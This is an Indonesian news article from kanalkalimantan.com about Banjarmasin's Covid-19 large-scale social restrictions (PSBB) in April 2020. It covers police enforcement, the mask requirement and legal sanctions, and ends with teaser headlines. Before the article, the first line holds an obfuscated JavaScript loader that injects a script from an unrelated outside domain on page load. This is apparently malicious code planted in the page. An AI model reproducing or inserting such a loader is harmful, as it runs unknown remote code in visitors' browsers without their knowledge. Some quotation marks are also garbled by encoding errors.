(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kota Banjarmasin secara resmi mendapat persetujuan dalam penerapan pembatasan sosial berskala besar (PSBB). Lalu, bagaimana gambaran hal apa saja yang dilarang ataupun tidak dilarang selama penerapan PSBB?
Kapolresta Banjarmasin yang juga Wakil Ketua I Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kota Banjarmasin Kombes Pol Rachmat Hendrawan menjelaskan, dari sisi pengamanan jajaranya lebih mengedepankan sisi persuasif.
“Di mana, di zona merah, perbatasan maupun pusat karantina maupun karantina mandiri dijaga oleh petugas. Ini kita membackup yang tidak beraktivitas lebih,†kata Kombes Rachmat di Balai Kota Banjarmasin, Senin (20/4/2020) siang.
Ia menambahkan, jika ada masyarakat yang tidak patuh dalam penerapan PSBB, pihaknya akan mengambil tindakan, jika sudah tiga hingga empat kali diimbau namun tidak diindahkan.
“Tindakan itu berupa teguran atau surat peringatan,†imbuhnya.
Sehingga Kombes Rachmat memastikan, agar masyarakat tidak perlu takut dengan tindakan represif baik dari jajarannya maupun tim gugus tugas yang bertugas di lapangan. Terpenting, ia menggarisbawahi agar semua kalangan bersama-sama memutus mata rantai penularan Covid-19.
“Tidak ada yang signifikan tindakannya, tetapi itu adalah pelanggaran yang sekali dua kali, tetapi mereka membuat surat pernyataan,†lugasnya.
Sementara itu, Juru Bicara Tim Gugus Tugas P3 Covid-19 Kota Banjarmasin Dr Machli Riyadi menegaskan, semua warga kota Banjarmasin diwajibkan menggunakan masker selama beraktivitas di luar rumah. “Jangan sampai ketika bertemu dengan aparat baik TNI-Polri maupun Satpol PP yang tidak pakai masker disuruh pulang,†katanya,
Namun demikian, Machli menegaskan, ada sanksi yang dikenakan bagi siapa saja yang menghalangi upaya PSBB. Ini sesuai dengan Pasal 93 UU Nomor 6 tahun 2018 dengan ancaman pidana 1 tahun penjara atau denda Rp100 juta.
“Jadi kalau ada petugas baik TNI-Polri maupun Satpol PP yang melaksanakan apa yang menjadi kebijakan Pemko Banjarmasin, ada sanksinya. Hanya saja kami mengklasifikasikan sanksi yang diatur,†pungkas Machli. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.